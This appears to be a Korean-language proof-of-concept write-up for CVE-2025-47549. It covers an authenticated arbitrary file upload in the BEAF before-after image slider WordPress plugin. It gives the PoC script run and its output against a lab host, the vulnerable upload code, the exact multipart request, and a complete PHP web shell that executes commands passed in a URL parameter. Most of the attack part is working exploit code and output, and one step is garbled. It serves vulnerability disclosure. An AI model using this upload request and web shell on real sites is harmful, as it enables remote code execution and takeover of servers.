d0n601/cve-2025-47549Ultimate Before After Image Slider & Gallery – BEAF <= 4.6.10 - beaf_options_save를 통한 인증된(Admin+) 임의 파일 업로드
이 Ultimate Before After Image Slider & Gallery 플러그인은 beaf_options_save 액션의 파일 유형을 검증하지 않으므로, 관리자 이상의 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드 실행을 얻을 수 있습니다.
shell.php라는 웹 셸을 업로드하는 것을 보여주는 POC CVE-2025-47549.py가 제공됩니다.python3 CVE-2025-47549.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 68200sec preferred_lft 68200sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86113sec preferred_lft 14113sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
beaf_options_save 액션은 /wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php의 227 행에서 beaf_save_options() 함수를 호출하지만 파일 유형 검증을 전혀 강제하지 않습니다.
이 함수의 281-292 행은 HTTP 요청에서 $_FILES를 확인하고 mime 유형을 일반적인 application/octet-stream에 대해서만 검증합니다. 그런 다음 파일을 웹에서 접근 가능한 디렉토리 /wp-content/uploads/itinerary-fonts에 저장합니다.
if ( isset( $_FILES ) && ! empty( $_FILES['file'] ) ) {
$tf_upload_dir = wp_upload_dir();
if ( ! empty( $tf_upload_dir['basedir'] ) ) {
$tf_itinerary_fonts = $tf_upload_dir['basedir'] . '/itinerary-fonts';
if ( ! file_exists( $tf_itinerary_fonts ) ) {
wp_mkdir_p( $tf_itinerary_fonts );
}
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
$tf_font_filename = $_FILES['file']['name'][ $i ];
move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
}
}
}
}
Before and After Slider -> Settings로 이동합니다.
https://lab1.hacker/wp-admin/edit.php?post_type=bafg&page=beaf_settings.Save 버튼을 클릭합니다.
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream
<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--
poc.php로 설정하도록 수정합니다:
https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php로 이동합니다.
